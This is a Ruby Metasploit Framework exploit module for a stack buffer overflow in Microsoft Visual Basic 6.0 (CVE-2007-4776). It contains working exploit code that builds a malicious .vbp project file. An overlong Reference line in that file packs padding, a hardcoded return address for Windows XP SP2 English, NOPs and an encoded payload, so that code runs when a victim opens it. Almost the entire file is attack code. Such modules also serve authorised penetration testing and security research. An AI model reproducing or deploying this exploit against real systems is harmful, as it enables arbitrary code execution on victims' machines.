109 lines
No EOL
3 KiB
Ruby
Executable file
109 lines
No EOL
3 KiB
Ruby
Executable file
##
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# $Id: ms_visual_basic_vbp.rb 10477 2010-09-25 11:59:02Z mc $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Visual Basic VBP Buffer Overflow',
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'Description' => %q{
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This module exploits a stack oveflow in Microsoft Visual
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Basic 6.0. When a specially crafted vbp file containing a long
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reference line, an attacker may be able to execute arbitrary
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code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision: 10477 $',
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'References' =>
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[
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[ 'CVE', '2007-4776' ],
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[ 'OSVDB', '36936' ],
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[ 'BID', '25629' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 650,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Sep 4 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.vbp']),
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], self.class)
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end
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def exploit
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sploit = rand_text_alpha_upper(496) + [target.ret].pack('V')
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sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')
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sploit << make_nops(24) + payload.encoded
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vbp = "Type=Exe\r\n"
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vbp << "Form=Form2.frm\r\n"
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vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"
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vbp << sploit + "\r\n"
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vbp << "Startup=\"Form2\"\r\n"
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vbp << "Command32=\"\"\r\n"
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vbp << "Name=\"Project2\"\r\n"
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vbp << "HelpContextID=\"0\"\r\n"
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vbp << "CompatibleMode=\"0\"\r\n"
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vbp << "MajorVer=1\r\n"
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vbp << "MinorVer=0\r\n"
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vbp << "RevisionVer=0\r\n"
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vbp << "AutoIncrementVer=0\r\n"
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vbp << "ServerSupportFiles=0\r\n"
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vbp << "VersionCompanyName=\"\"\r\n"
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vbp << "CompilationType=0\r\n"
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vbp << "OptimizationType=0\r\n"
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vbp << "FavorPentiumPro(tm)=0\r\n"
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vbp << "CodeViewDebugInfo=0\r\n"
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vbp << "NoAliasing=0\r\n"
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vbp << "BoundsCheck=0\r\n"
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vbp << "OverflowCheck=0\r\n"
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vbp << "FlPointCheck=0\r\n"
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vbp << "FDIVCheck=0\r\n"
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vbp << "UnroundedFP=0\r\n"
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vbp << "StartMode=0\r\n"
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vbp << "Unattended=0\r\n"
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vbp << "Retained=0\r\n"
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vbp << "ThreadPerObject=0\r\n"
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vbp << "MaxNumberOfThreads=1\r\n"
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vbp << "[MS Transaction Server]\r\n"
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vbp << "AutoRefresh=1\r\n"
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(vbp)
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end
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end |